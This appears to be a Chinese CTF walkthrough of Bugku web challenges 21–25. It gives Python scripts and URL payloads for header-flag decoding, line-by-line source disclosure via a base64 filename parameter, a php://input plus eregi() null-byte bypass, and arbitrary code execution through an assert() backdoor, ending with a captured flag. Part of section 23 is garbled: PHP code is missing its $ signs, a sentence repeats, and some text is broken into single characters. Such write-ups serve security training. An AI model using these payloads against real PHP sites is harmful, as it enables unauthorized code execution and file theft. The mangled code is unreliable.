21.
我们看到响应头中flag字段对应字符串“6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogT0RVME16ZzA=”,字符串以“=”结尾,很自然联想到可能是base64编码。base64解码为:“跑的还不错,给你flag吧: ODU0Mzg0”
3,我们看到base64解码后的中的字符串“ODU0Mzg0”是8位,不仅8位还看着怪怪的,再次base64解码,得到854384
4,接下来我们尝试构造post请求进行提交margin值。
最后贴出代码:
import requests
import base64
s =requests.Session()
headers =s.get(“http://123.206.87.240:8002/web6/”).headers
str1 = base64.b64decode(headers[‘flag’])
str2 = base64.b64decode(repr(str1).split(’:’)[1])
data= {‘margin’:str2}
flag = s.post(“http://123.206.87.240:8002/web6/”,data=data)
print(flag.text)
22.
观察url ,发现 a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
出现一行代码,试一下line=3显示了不同的代码
用脚本将index.php的源码读取出来
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
最后读取出来的源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //看这里
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
分析源代码,当cookie的margin=margin时,可以访问一个keys.php文件
注意把参数filename的值改为base64加密后的keys.php
23.
查看源码~
访问1p.html
http://123.206.87.240:8006/test/1p.html
发现时bugku主页
查看一下源码
view-source:http://123.206.87.240:8006/test/1p.html
url编码特点
根据响应内容中变量 Words 的值,容易得出是一段 URL 编码后的数据:
对其进行解码,得到一条 Javascript 语句与一大段注释,易看出注释中的内容是一段 Base64 编码后的数据:对其进行解码,得到一条 Javascript 语句与一大段注释,易看出注释中的内容是一段 Base64 编码后的数据:
将注释中的内容进行解码,发现又是一大段 URL 编码后的数据:
进行 URL 解码后,终于得到一段不完整的 PHP 核心源码:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
id=
_GET['id'];
a=
_GET['a'];
b=
_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
data=@filegetcontents(
a,'r');
if($data=="bugku is a nice plateform!" and id==0andstrlen(
b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
其中各条核心语句的作用如下:
第 1 行:限制 URL 查询字符串中必须有非空非零变量 id
第 9 行:限制变量 $a 中不能含有字符 .
第 15 行:要满足以下 5 条表达式才会爆 flag:
变量 $data 弱等于字符串 bugku is a nice plateform!
变量 $id 弱等于整型数 0
变量 $b 的长度大于 5
字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
变量 $b 的第一个字符弱不等于整型数 4
注意,源码中已暴露出 flag 文件,有可能是出题人的失误,也有可能是出题人故意用第 15 行复杂的语句迷惑你,实际上可以绕过。因此,直接访问链接 http://120.24.86.145:8006/test/f4l2a3g.txt 即可获得 flag。
不过,第 15 行的语句也是可解的(应该也是此题的本意),请继续往下看。
PHP 伪协议
源码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给 $a,显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku is a nice plateform!。
eregi() 截断漏洞
CTF 题做多了就知道 ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接
b
的
第
一
个
字
符
组
成
,
若
令
s
u
b
s
t
r
(
b 的第一个字符组成,若令 substr(
b的第一个字符组成,若令substr(b,0,1) = “\x00”,即满足 “1114” 与 "111"匹配。因此,这里假设 $b = “\x0012345”,才能满足以上三个条件。
substr函数详解
ereg函数和eregi函数详解
构造 payload 爆 flag
在构造变量 b 中的空字符时,过早将空字符 \x00 放入,在提交请求时导致请求头截断,继而请求失败,得不到响应。
因为 b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节。所以说,空字符应该在后台脚本的变量中出现,而不是在 URL 查询字符串变量中出现。
构造出正确的 payload 后,完成此题常规思路的做法:
25.
题目提示里的php代码拿下来
<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
用assert执行任意代码
这就很自由了
payload:http://120.24.86.145:8010/?s=print_r(scandir(’./’)); 扫描目录
则直接获取里面的内容 http://120.24.86.145:8010/ flag_sm1skla1).txt
得到flag
BUGKU{bugku_web_009801_a}